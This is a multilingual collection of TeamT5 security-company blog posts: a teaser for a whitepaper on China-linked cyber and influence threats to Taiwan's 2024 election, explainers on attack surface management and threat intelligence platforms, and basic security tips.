>2024年台湾総統選挙に対するサイバー脅威の全文(英語)は、TeamT5公式ウェブサイトの下記リンクより取得することが可能です。

【Whitepaper】2024年台湾総統選挙に対するサイバー脅威

2024 is a record-breaking year for elections around the globe, with over 60 countries home roughly half of the world’s population is set to hold national elections. On 13 January 2024, Taiwan kicked off this super-election year with its presidential and legislative elections.

At TeamT5, we are pleased to see that the election concluded smoothly, without any successful disruptions by cyber attackers. We believe this achievement is a result of the hard work and dedication of many individuals and organizations. Their collective efforts have ensured the election process remained secure and trustworthy.

**Despite the overall success, TeamT5 believes that we must not overlook the challenges posed by state-sponsored cyber threats.** Our team has worked tirelessly to identify and analyze numerous malicious activities and disinformation campaigns, particularly those associated with state-linked influence operation (IO) actors or Advanced Persistent Threat (APT) groups. This whitepaper will detail the specific tactics, techniques, and procedures (TTP) used by these actors, hoping to provide valuable insights into their operations.

The cyber threat landscape is ever-changing, with adversaries constantly improving their attacking methods. During this election cycle, we noticed that these threat actors have enhanced their capabilities, employing more sophisticated and innovative techniques to target a broader array of platforms. **This whitepaper not only shares our discoveries but also illustrates the importance of continuously updating our cyber defense strategies to stay ahead of potential threats.**

We are committed to evolve our threat intelligence to counteract these cyber threats. Through this whitepaper, we aim to share our strategic findings, hoping to equip other democracies, especially those facing upcoming elections, with better understanding of cyberattacks aiming to disrupt the democratic process. We hope it serves as a practical resource for cyber threat intelligence experts in democratic countries, helping them to anticipate and mitigate cyber threats effectively.

## Research Highlights
**1.** Prior to the 2024 elections, Taiwan has faced an array of sophisticated cyber threats, all aimed at destabilizing the democratic processes and undermining public trust in the electoral system. Overall, China-nexus actors accounted for a major part of the targeted attacks.

**2.** Chinese Advanced Persistent Threat (APT) groups have targeted multiple entities in Taiwan, especially the journalism and media industry. Notably, not only pro-democracy or pan-green media have fallen into prey. Our database suggests that domestic television operators and newspapers, some perceived as pro-unification or pro-China, have also been the primary targets.

**3.** On the other hand, China has also been weaponizing social media platforms to spread disinformation and propaganda against Taiwan. While we observed sparse suspicious activities attacking the ruling party since early 2023, it was not until November that we detected significant influence operations. We summarized three key trends of China’s influence operations during the elections:
 
(1) Expanded Target Scope
 
(2) AI-Enabled Campaigns across Various Platforms
 
(3) Fake News Sites and Whistleblower Sites

**4.** From late November 2023, we have detected China-nexus hack and leak incidents, corresponding with the following influence operations aimed at diminishing public trust toward Taiwan’s current ruling party, the Democratic Progressive Party (DPP). These campaigns mark a strategic adoption of “hack-and-leak” methods, a notable shift in hybrid warfare tactics. We highlight a significant campaign named “Operation ScoopSpy.” It is very likely that their goals are to sow chaos and discredit pro-democracy politicians regardless of which candidate or political party wins in the elections.

**5.** China’s approach to influencing Taiwan’s political landscape, particularly around the2024 elections, underscores a long-term strategy. Advanced Persistent Threat (APT) groups and influence operation (IO) actors linked to China have shown a deep understanding of their targets, indicating thorough preparation and research. This meticulous groundwork has led to a troubling synergy between cyber espionage efforts and influence operations.

 
**To receive the whole whitepaper, please fill up the form below.**

[Whitepaper] Cyber Threats against Taiwan’s 2024 Presidential Election

杜浦數位安全 TeamT5 發佈《臺灣 2024 總統大選資安威脅》白皮書（TeamT5 White Paper: Cyber Threats against Taiwan’s 2024 Presidential Election），透過「進階持續性威脅（advanced persistent threat）」與「資訊作戰（influence operation）」的雙重視角，全面剖析 2024 年臺灣大選所面臨的資安威脅。根據 TeamT5 長期以來的追查，我們持高度信心這些攻擊可能都是來自中國相關的威脅行動者。

作為網路威脅情資研究的專家， TeamT5 長期關注亞太地區駭客威脅，以協助我們的客戶掌握關鍵情資，抵禦從未間斷的網路攻擊。

**重點摘要：**
1. 中國相關威脅行動者的攻擊手法持續演進，於投票日前一週發動綿密的不實資訊攻擊，意圖動搖社會大眾對於民主選舉體制的信任。
2. 中國相關威脅行動者攻擊的目標包含不同產業，近期媒體業更是飽受攻擊。根據 TeamT5 的研究顯示，遭攻擊的媒體公司並無政治立場之分，泛綠與泛藍媒體皆有遭到攻擊。
3. 中國相關威脅行動者仍持續透過社群平台散布不實訊息。但和過去相比，其動員的社群資源更加廣泛，並進一步利用 AI 技術生成內容；同時還架設新聞通訊網站，撰寫原生內容，以大量散播不實資訊。
4. 中國相關威脅行動者還運用了「駭侵與外洩」（Hack and Leak）的手法。先竊取機密資訊後，再有計畫地透過特定管道向大眾披露，試圖操弄社會輿論風向，遭駭產業包含媒體、政府與電信。

綜合來看，中國相關威脅行動者確實能深入掌握台灣政經社會局勢的脈動，再透過進階持續性攻擊與資訊作戰的混合手法，瞄準民主社會可能的弱點。長期而言，網路攻擊的威脅，仍是台灣民主發展揮之不去的陰影。

請填寫以下表格，即可下載完整白皮書（英文）。


【白皮書】全面剖析臺灣 2024 總統大選面臨之資安威脅 

In today's digital landscape, organizations face an ever-evolving array of cybersecurity threats that challenge their resilience and operational integrity. From sophisticated phishing attacks to complex ransomware, the methods employed by cybercriminals grow increasingly advanced, demanding a proactive and comprehensive approach to defense. Enter External Attack Surface Management (EASM), a cutting-edge strategy designed to bolster organizational cybersecurity by identifying, analyzing, and mitigating threats posed to external digital assets. 

**This article dives into the intricacies of EASM, explaining how it functions as a critical cybersecurity framework for modern organizations by protecting against external threats and strengthening overall security posture.**

 

## What is EASM?
External Attack Surface Management (EASM) is a cybersecurity discipline focused on the continuous discovery, inventory, assessment, and management of an organization's digital assets accessible from the internet. These assets include servers, web applications, domains, cloud resources, and other components that organizations rely on to fulfill their missions and operations. The importance of External Attack Surface Management cannot be overstated, as it supplements an organization's internal defenses and ensures that vulnerabilities on the outside are identified and addressed before they can be exploited.

 
## How EASM Works
The digital assets comprising an organization's external attack surface represent the sum of all points from which an adversary may find access to internal networks and systems. While the scale and complexity of contemporary infrastructure mandates that these assets be publicly accessible - for instance, to enable service delivery, provide support, or facilitate communication - attackers leverage the same properties to gain unauthorized access, launch cyber-physical attacks, or damage the reputation or integrity of organizations. EASM plays a pivotal role in the protection of this far-reaching attack surface.

**EASM performs three foundational functions:**
### Discovery
EASM solution will identify an organization's points of exposure such as servers, IPs, applications or third-party services. Advanced discovery methods may incorporate the use of network scans, crawlers, passive listening to internet traffic and other techniques.

### Risk analysis
EASM continuously profiles and assesses every exposed asset, generating a comprehensive understanding of an organization's attack surface. Every asset is interrogated to extract detailed metadata, which is then contextualized, analyzed and interpreted, allowing it to be categorized according to function and risk.

### Threat mitigation
EASM is diagnostic and prescriptive, providing the insight and guidance that defenders need to triage and remediate the most urgent and exploitable threats. This process will typically involve correlating artifacts discovered across multiple assets to form attack structures, which are then analyzed to identify active and impending threat scenarios. It is this diagnostic approach that allows organizations to act on their various vulnerabilities in the most strategic and impactful manner.

 
## Key Components of EASM
### Inventory of External Digital Assets
The first component of EASM involves developing a comprehensive inventory of all digital assets that are remotely accessible from the internet. This inventory becomes the foundation for all later EASM activities.

### Continuous Monitoring and Risk Assessment
EASM dictates that the external attack surface be continuously monitored to identify new assets and associated vulnerabilities. Each asset is assessed for obvious, high-level risk for the purposes of prioritization.

### Integration with Threat Intelligence
EASM systems integrate with one or more threat intelligence feeds to provide enrichment of assets and vulnerabilities, including their risk factors.

 
## The Role of EASM in Cybersecurity
EASM extensions cybersecurity protections beyond traditional perimeters by proactively searching for threats and vulnerabilities that hackers would otherwise discover and exploit. As mentioned, hackers scan constantly for exposed assets to target.

Unlike reactive security measures that respond after an incident has occurred, EASM works by identifying potential security issues early. By continuously monitoring the external attack surface, these solutions can identify unexpected exposure points, misconfigurations, or vulnerabilities in real-time. This means that organizations can take remedial action to address security gaps immediately, significantly reducing the window of opportunity for an attack.

**What types of threats can EASM help to mitigate? It can be particularly effective for security teams to better defend against threats that target their external assets. For example:**

### Phishing Attacks
EASM solutions can be used to monitor for the unauthorized use of key brand names or domains, suppressing the ability for an adversary to stand-up a fraudulent site that exploits a company’s identity in a phishing campaign.

### Malware Distribution
Identifying compromised assets or malicious content delivery in real-time can greatly assist with thwarting attempts to distribute malware to customers and prospects of the company.

### Vulnerabilities in Public-Facing Applications
As was the case with many recent vulnerabilities, the term “public-facing web applications” often translates directly to “high profile targets.” EASM solutions that can identify vulnerabilities in web applications and ensure they get patched or mitigated in short order (before they can be exploited) are exceptionally valuable.

 
## Benefits of EASM
Implementing EASM have several benefits such as:

- Improved Security Posture
With the proactive detection and mitigation of vulnerabilities and threats, organizations can significantly improve their overall security posture. This proactive approach helps prevent data breaches and other security incidents, safeguarding sensitive information and maintaining customer trust.

- Compliance and Risk Reduction
EASM also plays a vital role in compliance and risk management. By ensuring that external assets adhere to security best practices and regulatory requirements, organizations can avoid costly penalties and reputational damage associated with non-compliance and security breaches.

 
## Conclusion
**External Attack Surface Management (EASM)** is an essential component of contemporary cybersecurity strategies. By enabling the proactive identification and remediation of threats, EASM empowers organizations to address an expansive array of cyber threats. While its implementation presents several challenges, the benefits of increased visibility, an improved security posture and a more compliant posture make EASM a critical technology for any organization looking to strengthen its defenses in the digital age. As the threat landscape continues to evolve, the importance of robust and proactive security technologies such as EASM will only grow, making it incumbent on the part of organizations to remain one step ahead of their cyber adversaries.

>[Contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) to know our EASM solution.

>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan. 
>
>Based on our research in malware & Advanced Persistent Threat (APT), we provide cyber threat intelligence reports and anti-ransomware solutions to clients in the USA, Japan, and Taiwan. Clients include government agencies, financial business, and high-tech enterprises.

What is EASM and How Does it Help Protect Organizations?

在當今的數位環境中，企業面臨著一系列、持續變化的網路安全威脅，這些威脅挑戰著他們的韌性和營運完整性 從複雜的網路釣魚攻擊到複雜的勒索軟體，網路犯罪分子採用的方法變得越來越先進，需要採取主動且全面的防禦方法。

外部攻擊面管理 (EASM) 即是先進的解決方案，旨在透過識別、分析和減輕對外部數位資產的威脅，強化企業網路安全。 本文深入探討 EASM 的細節，說明它如何透過防禦外部威脅和加強整體安全態勢，作為企業的網路安全防禦關鍵。

 

## 什麼是 EASM？
外部攻擊面管理 (EASM) 專注於持續發現、清點、評估和管理企業可透過網路存取的數位資產。 這些資產包括伺服器、Web 應用程式、網域、雲端資源，及企業完成任務和營運所依賴的其他數位資產。 外部攻擊面管理十分重要，因為它強化企業的內部防禦，並確保外部漏洞在被利用之前被識別和解決。

 

## 外部攻擊面管理 (EASM) 如何運作
構成企業外部攻擊面的數位資產，代表對手可能找到對企業內部網路和系統的存取權限的所有點的總和。 

雖然基礎設施的規模和複雜性要求這些資產可公開存取（例如，為了提供服務或支援、提供資訊），但攻擊者也可利用相同的屬性來獲得未經授權的存取、發動網路實體攻擊或損壞企業的聲譽或誠信。 EASM 在保護此攻擊面，發揮關鍵作用。


**EASM 具備3項基本功能：**

### 發現
EASM 解決方案將識別企業的暴露點，例如伺服器、IP、應用程式或第三方服務。 進階發現方法更可結合網路掃描、爬蟲、被動監聽網路流量和其他技術。

### 風險分析
EASM 持續分析和評估每個暴露在外的資產，進而掌握企業的受攻擊面。 每項資產都會被詢問，以獲得詳細的數據，然後對其進行脈絡化、分析和解釋，從而根據功能和風險對其進行分類。


### 威脅緩解
EASM 具有診斷性和規範性，可為企業的資安團隊的防禦優先順序，進行指引，其提供分類和補救最緊急、可利用威脅所需的關鍵資訊。 此過程通常涉及多個資產的跨幅度關聯，以形成攻擊結構；進一步對攻擊結構進行分析以識別活動和即將發生的威脅情境。 

正是這種診斷方法，使企業能夠以最具策略性和影響力的方式，針對各種漏洞採取行動。

 

### 外部攻擊面管理 (EASM) 的關鍵


#### 外部數位資產盤點
EASM 首要功能是可透過網路遠端存取的所有數位資產的全面清單，此清單成為以後所有 EASM 管理的基礎。

#### 持續監控和風險評估
EASM 旨在持續監控外部攻擊面，以識別新資產和相關漏洞。為了確定優先級，EASM 對每項資產進行風險度評估。

#### 與威脅情資共同整合
EASM 系統與一個或多個威脅情資來源共同整合，以利擴展資產和漏洞的清單，也將風險因素考慮進此系統。

 

## 外部攻擊面管理 (EASM) 在資訊安全管理的效益

EASM 透過主動搜尋駭客可能發現和利用的威脅、漏洞，將網路安全保護擴展到傳統邊界之外。 如前所述，駭客不斷掃描攻擊目標暴露在外的資產，以利趁虛而入。

與事件發生後的應變形安全措施不同，EASM 的工作原理是儘早識別潛在的安全性問題。 透過持續監控外部攻擊面，這些解決方案可以即時識別意外暴露點、錯誤配置或漏洞。 這意味著企業可以採取補救措施，立即解決安全漏洞，從而顯著減少受攻擊的機會和時間。

EASM 可以幫助緩解哪些類型的威脅呢？ 對於資訊安全團隊來說，它有效防禦可能受駭客鎖定的外部數位資產。 例如：

### 網路釣魚攻擊
EASM 解決方案可用於監控關鍵品牌名稱或網域的未經授權使用，從而抑制攻擊者在網路釣魚活動中，建立利用公司身分的詐騙網站的能力。

### 惡意軟體派送
即時識別受損資產或惡意內容交付，可以極大地幫助阻止向公司客戶和潛在客戶派送惡意軟體的嘗試。

### 應用程式中的漏洞
與最近許多漏洞的情況一樣，「供大眾使用的 Web 應用程式」幾乎等同為「引人注目的目標」。 EASM 解決方案可以識別 Web 應用程式中的漏洞，並確保在短時間內（在它們被利用之前）對其進行修補或緩解，因此 EASM 解決方案非常有價值。

 

## 外部攻擊面管理 (EASM) 的好處
實施 EASM 有幾個好處，如：

- 改善安全狀況
透過主動偵測和緩解漏洞、威脅，企業可以顯著改善其整體安全狀況。 這種主動方法有助於防止資料外洩和其他安全事件，保護敏感資訊並維護客戶信任。

- 合規性和降低風險
EASM 在合規和風險管理方面也發揮著至關重要的作用。 透過確保外部資產遵守最佳資安實踐和監管要求，企業可以避免因不合規、漏洞遭利害等的高額罰金和聲譽損害。

 

## 結論
外部攻擊面管理 (EASM) 是當今資訊安全策略的重要組成。 透過主動識別和修復威脅，EASM 使企業能夠應對廣泛的網路威脅。 雖然其實施帶來了一些挑戰，但提高可見度、改善安全狀況和更合規性的好處使得 EASM 對於任何希望加強數位時代防禦的企業來說都是一項關鍵技術。


隨著威脅情勢的不斷發展，EASM 以其強大且主動防禦的特性，其於資安領域的重要性持續增強，這使得企業有責任採用，並領先網路攻擊者的攻擊活動。

>[立刻聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website) ，了解如何運用外部攻擊面管理 (EASM)解決方案 !

>TeamT5 杜浦數位安全專精網路威脅研究，提供端點偵測與回應（EDR）解決方案。協助美日臺大型企業有效保護商業機密文件，營運不受網路攻擊影響。獲國際頂尖顧問公司 Frost & Sullivan 肯定為台灣最佳威脅情資公司（2023 Taiwanese Threat Intelligence Company of the Year Award）。 
團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。

什麼是外部攻擊面管理 (EASM)? 又是如何協助企業進行資安防禦?

今日のデジタル環境において、高度なフィッシング攻撃から複雑なランサムウェアに至るまで、サイバー犯罪者が採用する手口はますます高度化しており、組織は、進化し続けるサイバーセキュリティの脅威に直面する中で、予防的かつ包括的な防御対策を講じることが求められています。外部攻撃対象領域管理 (EASM) は、外部のデジタル資産に対する脅威を特定、分析、軽減することで組織のサイバーセキュリティを強化することを目的に設計された最先端の戦略です。

当記事では、EASM が重要なサイバーセキュリティフレームワークとして、どのように組織のインターネットセキュリティを外部の脅威から保護し、全体的なセキュリティ体制を強化するのかを紹介します。

##EASMとは？
外部攻撃対象領域管理 (EASM) は、インターネット経由でアクセス可能な組織のデジタル資産の継続的な検出、インベントリ、評価、管理に焦点を当てています。これらの資産には、サーバー、Web アプリケーション、ドメイン、クラウドリソースなど、組織がタスクや業務を完了するために依存しているコンポーネントが含まれます。つまり、EASMは、組織の内部防御を強化し、外部の脆弱性が悪用される前に特定して対処できるようにするための重要な要素の一つです。

##EASMの仕組み
組織のEASMを構成するデジタル資産は、攻撃者が企業の内部ネットワークおよびシステムへのアクセスを見つける可能性のあるすべてのポイントの合計を表します。

現代のインフラの規模と複雑さから、これらの資産は、公的にアクセスできることが必要ですが（サービスやサポートの提供、通信の円滑化など）、攻撃者は同じ特性を利用して、不正アクセスを行ったり、サイバー攻撃を仕掛け、組織の評判や完全性に損害を与えます。EASMは、この広範囲に及ぶ攻撃対象領域を保護する上で極めて重要な役割を果たします。

##EASM に備わる3 つの基本機能

###発見
EASM ソリューションは、サーバー、IP、アプリケーション、サードパーティサービスなど、組織の危険なポイントを特定します。高度な発見方法には、ネットワークスキャン、クローラー、インターネットトラフィックの受動的盗聴、その他の技術を組み込むことも可能です。


###リスク分析
EASMは、公開されているすべての資産を継続的に分析および評価し、組織の攻撃対象領域を包括的に把握します。すべての資産は、詳細なメタデータを取得するために調査、コンテキスト化、分析ならびに解釈され、機能とリスクに応じて分類されます。

###脅威の軽減
EASM は、企業のセキュリティチームの防御優先順位を決定するための診断および規範的機能を備えており、最も緊急で悪用可能な脅威を分類し、修復するために必要な情報を提供します。 通常、このプロセスでは、複数の資産で発見されたアーティファクトを関連付けて攻撃構造を形成し、それを分析してアクティブな脅威シナリオと差し迫った脅威シナリオを特定します。

攻撃構造は、アクティビティと差し迫った脅威のシナリオを特定するためにさらに分析されます。

この診断のアプローチにより、組織は最も戦略的で影響力のある方法でさまざまな脆弱性に対処することができます。

##外部攻撃対象領域管理 (EASM) の鍵
- **外部デジタル資産のインベントリ**

EASM の主な機能は、ネットワーク経由でリモートアクセスできるすべてのデジタル資産の包括的なインベントリを作成することです。このインベントリは、今後すべての EASM の基礎となります。

- **継続的なモニタリングとリスク評価**

EASM は、外部の攻撃対象領域を継続的に監視し、新しい資産および関連する脆弱性を特定するように設計されています。また、優先順位付けをするために、各資産のリスク評価を行います。

- **脅威インテリジェンスとの統合**

EASM システムは1つ以上の脅威インテリジェンスソースと統合して、資産と脆弱性のインベントリを拡張し、リスク要因をシステムに取り込みます。


##サイバーセキュリティ管理における外部攻撃対象領域管理 (EASM) の利点

EASM は、ハッカーが発見して悪用する可能性のある脅威や脆弱性を積極的に検索することで、従来の境界を超えてネットワークセキュリティ保護を拡張します。 前述したように、ハッカーは利益を得るためにターゲットの公開された資産を常にスキャンしています。

また、EASM は、インシデントの発生後にセキュリティ対策を適用するのではなく、潜在的なセキュリティ問題をできるだけ早く特定することによって機能します。 これらのソリューションは、外部の攻撃対象領域を継続的に監視することで、予期せぬ危険箇所、構成ミス、または脆弱性を即座に特定できます。 つまり、企業はセキュリティの脆弱性に即座に対処するための是正措置を講じることができ、攻撃にさらされる機会と時間を大幅に削減することが可能になります。


EASM は、サイバーセキュリティチームにとって、ハッカーの標的となる可能性のある外部のデジタル資産を保護することに効果的です。EASM は以下のような脅威の軽減に役立ちます：
- **フィッシング攻撃**

EASM ソリューションを使用すると、主要なブランド名やドメインの不正使用を監視できるため、攻撃者がフィッシングキャンペーンで企業の ID を悪用する詐欺的な Web サイトを構築する能力を阻止できます。


- **マルウェアの配信**

侵害された資産や悪意のあるコンテンツの配信を即座に特定することは、企業の顧客や見込み顧客にマルウェアを配信しようとする試みを阻止するのに非常に役立ちます。


- **アプリケーションの脆弱性**

最近の多くの脆弱性と同様に、「一般向けの Web アプリケーション」は「注目度の高い標的」として扱われています。 EASM ソリューションは、Web アプリケーションの脆弱性を特定し、短期間で (悪用される前に) 確実にパッチを適用または軽減できるため、非常に重宝されます。

##外部攻撃対象領域管理 (EASM) の利点
EASM を導入すると、以下のような利点があります：


- **セキュリティ態勢の向上**

脆弱性や脅威を積極的に検出・軽減することで、企業は全体的なセキュリティ体制を大幅に向上させることができます。 この積極的なアプローチは、データ侵害やその他のセキュリティインシデントを防止し、機密情報の保護、顧客の信頼を維持するのに役立ちます。


- **コンプライアンスとリスク軽減**

EASM は、コンプライアンスとリスク管理においても重要な役割を果たします。 外部資産がセキュリティのベストプラクティスと規制要件に確実に準拠しているのを確認することで、企業はコンプライアンス違反やセキュリティ侵害などによる高額な罰則や風評被害を回避することができます。

##結論
外部攻撃対象領域管理 (EASM) は、現代の情報セキュリティ戦略に不可欠な要素です。 脅威を積極的に特定して修復することで、企業が幅広いサイバー脅威に対抗できるようにします。 EASM の導入にはいくつかの課題がありますが、可視性の向上、セキュリティ態勢の改善、コンプライアンスの強化という利点により、EASM はデジタル時代の防御強化を目指す企業にとって重要なテクノロジーとなっています。


脅威の状況が進化し続ける中、EASMのような強力かつプロアクティブなセキュリティ技術の重要性が高まり続けており、サイバー攻撃者の先手を打つことが企業の責務となっています。

 

> お問い合わせ : [https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)

EASM とは？組織のサイバーセキュリティ保護にどのように役立つのか？

昨今のデジタル時代において、サイバーセキュリティの重要性は日に日に高まっています。日本サイバーセキュリティ月間では、私たちの長年の経験に基づき、個人や組織のセキュリティ対策に役立つ、サイバーセキュリティ対策9か条と実践方法をご紹介します！

### 1.オペレーティングシステムとソフトウェアを常に最新の状態に保つ
システムやソフトウェアを常に最新の状態に保つことは非常に重要です。 オペレーティングシステムだけでなく、アプリケーションやアンチウイルスソフトにも該当します。 アップデートによりセキュリティホールにパッチを当て、システムの防御力を向上させることが可能です。

### 2.アカウントに侵入されないように、パスワードは長く複雑なものに
強力で複雑なパスワードは、情報を保護する要です。 複数のアカウントに同一のパスワードを使用することは、他のアカウントにも侵入されるリスクがあるため、アカウントごとに異なるパスワードを使用しましょう。

### 3.多要素認証を使う
多要素認証とは、複数の認証を用いて、パスワードが解読された場合でも、侵入者によるアカウントへのアクセスを防ぎます。 この機能が有効になっているか確認しましょう。

###4.詐欺メールや詐欺サイトに騙されないように注意
見知らぬ差出人からのメールはクリックしないように、そしてサイトへアクセスする際は、正しいURLかを先に確認しましょう。 ネット詐欺師は、なりすましであなたの機密情報にアクセスしようとするので、気を付けましょう。

###5.メールの添付ファイルやリンクに注意
メールの添付ファイルを開いたり、リンクをクリックしたりする前に、送信者の身元を再確認しましょう。 不明な添付ファイルやリンクには、マルウェアが潜んでいる可能性があります。

###6.スマートフォンやパソコンの画面ロックを使用
画面ロックは、個人情報を保護するための簡単で効果的な方法です。 知らない間に他人がデバイスにアクセスしようとするのを防ぎます。

###7.大切な情報を失う前にバックアップする
定期的にデータをバックアップし、安全な場所に保存しましょう。 これにより、技術的な不具合や悪意のある攻撃によるデータの損失から守ることができます。

###8.外出先でのモバイル機器の紛失、盗難、盗み見を防ぐ
盗難や紛失を防ぐため、モバイル機器の管理には十分注意しましょう。 人前に出るときは、画面が覗き見されていないことを確認し、情報への不正アクセスを防ぎましょう。

###9.迷ったら専門家に相談
セキュリティの問題を解決するには、オープンなコミュニケーションが重要です。 心配事や異変に気づいたら、セキュリティ専門家、または関連部署に連絡しましょう。

 
 

##結論

以上のサイバーセキュリティ対策9か条は、日本サイバーセキュリティ月間において重要な役割を果たすだけでなく、デジタル社会における日常的な習慣となるべきものです。 これらの原則を遵守することで、より安全で安心な情報環境を構築することができます。

【日本サイバーセキュリティ月間】サイバーセキュリティの基盤作り：サイバーセキュリティ対策9か条

サイバー脅威があふれる今日のデジタル時代において、データと資産の保護に効果的な脅威インテリジェンスは、企業にとって需要の高い存在です。脅威インテリジェンスプラットフォームは、企業が脅威を特定、分析、対応するのに役立つ脅威インテリジェンスを提供します。しかし、選択・導入するにあたり、企業は次の重要なポイントを把握し、慎重に考慮する必要があります。

###1. 脅威リソースの多様性
優れた脅威インテリジェンスプラットフォームは、悪意のあるプログラムのサンプル、リモート攻撃の特徴、悪意のある脅威の指標(IOC)など、詳細かつ具体的な脅威インテリジェンスを提供する必要があります。


###2. 即時性と正確性
組織が迅速に脅威を特定し対応するために、脅威インテリジェンスは迅速かつ高精度である必要があります。タイムリーで最新かつ信頼性の高いインテリジェンスを提供するサプライヤーは重要な要素となります。

###3. カスタマイズ機能
優れた脅威インテリジェンスプラットフォームは、企業特有のニーズを満たすカスタマイズ機能(アラートの設定、フォーカスする脅威の種類の選択、既存のセキュリティインフラへの統合など)を備えていることが大前提です。

###4. 統合
脅威インテリジェンスプラットフォームは、SIEM（Security Information and Event Management）システムやEDR（Endpoint Detection and Response）ソリューションなど、企業の既存のセキュリティエコシステムにシームレスに統合できる必要があります。これにより、全体的なセキュリティを向上させることができます。


###5. 報告と分析
プラットフォームは、組織が脅威インテリジェンスの性質と影響を理解できるように、詳細なレポートおよび分析ツールを提供する必要があります。 これにより、企業はセキュリティポリシーを適応させ、対応能力を向上させることができます。


###6. セキュリティとコンプライアンス
プラットフォームは、データの暗号化、アクセス制御、コンプライアンス機能などの適切なセキュリティ対策を備え、規制要件を遵守しながら、機密性の高い脅威インテリジェンスを確実に保護する必要があります。

##結論

脅威インテリジェンスプラットフォームの選択と導入は、企業のセキュリティ戦略において重要な役割を果たします。企業は、選択したプラットフォームが高品質で多様な脅威インテリジェンスを提供し、全体的なセキュリティの向上に役立つよう、上記を慎重に検討する必要があります。脅威インテリジェンスは企業のサイバーセキュリティにとって重要であるため、注意深く熟慮する必要があり、時間とリソースを投資する価値があります。


脅威インテリジェンスプラットフォームであるThreatVisionは、極東アジアの悪意のあるグループに関した、最も包括的で詳細なデータベースを提供します。脅威インテリジェンスレポートは、豊富で詳細な内容を完備したナラティブ形式と段落で表示され、脅威イベントを迅速に理解し、対しよするためのより効果的なヒントを得ることに役立ちます。また、読みやすいので、サイバーセキュリティチームのレポート作成能力を向上させ、チーム間でのコミュニケーション効率も高めます。

「彼を知り己を知れば百戦殆からず」
これはサイバーセキュリティが普及した現代にも通ずる言葉です。

貴社のサイバー防御を最適化する方法について詳しく知りたい場合は、ぜひお問い合わせください。
[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)





脅威インテリジェンスプラットフォーム：導入における主な考慮事項

In today's threat-filled digital age, enterprises need effective threat intelligence to protect their data and assets. The threat intelligence platform provides critical threat intelligence to help enterprises identify, analyze and respond to threats. However, when selecting and purchasing a threat intelligence platform, enterprises need to carefully consider the following key factors.

### 1. Diversity of threat resources
An excellent threat intelligence platform should provide in-depth and specific threat intelligence, including malicious program samples, remote attack characteristics, malicious threat indicators (indicator of compromise), etc.

### 2. Immediacy and accuracy
Threat intelligence should be immediate and highly accurate to ensure organizations can quickly identify and respond to threats. Suppliers providing timely, updated and reliable intelligence are key factors.

### 3. Customization capabilities
A good threat intelligence platform should have customizable features to meet the specific needs of the enterprise. This includes the ability to set alerts, select the types of threats to focus on, and integrate into existing security infrastructure.

### 4. Integration
The threat intelligence platform should be able to be seamlessly integrated into the enterprise's existing security ecosystem, including SIEM (Security Information and Event Management) systems, EDR (Endpoint Detection and Response) solutions, etc. This helps improve overall security.

### 5. Reporting and Analysis
Platforms should provide detailed reporting and analysis tools to help organizations understand the nature and impact of threat intelligence. This can help businesses adapt their security policies and improve their response capabilities.

### 6. Security and Compliance
Platforms should have appropriate security measures, including data encryption, access control and compliance capabilities, to ensure sensitive threat intelligence is protected while complying with regulatory requirements.

 
 

## Conclusion

Selecting and sourcing a threat intelligence platform is an important part of an enterprise's security strategy. Enterprises should carefully consider the above factors to ensure that the platform they choose provides high-quality, diverse threat intelligence and helps improve overall security. Threat intelligence is key to enterprise cybersecurity, so it’s a thoughtful decision worth investing time and resources into.

The threat intelligence platform, ThreatVision, provides the most comprehensive and in-depth database of adversaries in the Asia-Pacific region. Its threat intelligence reports are presented in narrative form and paragraphs, with rich and complete details, which help you quickly understand threat events and absorb more effective threat event handling tips. The readability also improves your cybersecurity team's ability to report upwards and effectiveness when communicating across teams.

>Know the enemy and know yourself; in a hundred battles you will never be in peril. Threat intelligence gives enterprises this exact ability to defend cyber threats.
 
>Contact us to learn how your enterprises can optimize your security defense.
>[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blogs&utm_medium=website)

Threat Intelligence Platform (TIP) : Key Considerations for Procurement

在當今充滿威脅的數位時代，企業需要有效的威脅情資來保護其數據和資產。威脅情資平台提供了關鍵的威脅情資，幫助企業識別、分析和應對威脅。然而，在挑選和採購威脅情資平台時，企業需要謹慎考慮以下關鍵因素。

### 1. 威脅資源多樣性
一個優秀的威脅情資平台應該提供深度、具體的威脅情資，包括惡意程式樣本、遠端攻擊特徵、惡意威脅指標（indicator of compromise, IOC）等

### 2. 即時性和準確度
威脅情資應該是即時的且高度準確，以確保企業能夠迅速識別和應對威脅。供應商提供及時更新和可靠的情資是關鍵因素。

### 3. 自選設定
一個好的威脅情資平台應該具有自選設定功能，以滿足企業的特定需求。這包括能夠設定警報、選擇關注的威脅類型，以及整合到現有安全基礎設施中。

### 4. 整合性
威脅情資平台應該能夠無縫整合到企業的現有安全生態系統中，包括SIEM（Security Information and Event Management）系統、EDR（Endpoint Detection and Response）解決方案等。這有助於提高整體安全性。

### 5. 報告和分析
平台應提供詳細的報告和分析工具，以幫助企業了解威脅情資的性質和影響。這可以幫助企業調整其安全策略並改進應對能力。

### 6. 安全性和合規性
平台應該具有適當的安全措施，包括數據加密、訪問控制和合規性功能，以確保敏感的威脅情資受到保護，同時符合法規要求。

## 結論

挑選和採購威脅情資平台是企業安全戰略中的重要一環。企業應該謹慎考慮上述因素，以確保所選擇的平台能夠提供高質量、多樣化的威脅情資，並有助於提高整體安全性。威脅情資是企業安全的關鍵，因此這是一個需要深思熟慮的決策，值得投資時間和資源。

ThreatVision 威脅情資平台提供了最完整且深入的亞太區域惡意族群資料庫。威脅情資報告以敘事形式、段落式呈現，細節豐富完整，有助您快速了解威脅事件，吸收更多有效的威脅事件處理經驗，並且易讀性也可提高您的資安團隊在向上報告和跨團隊溝通時的效率。

 

>知己知彼，百戰不殆。在資安的道路上，TeamT5 是您最佳的夥伴。
>
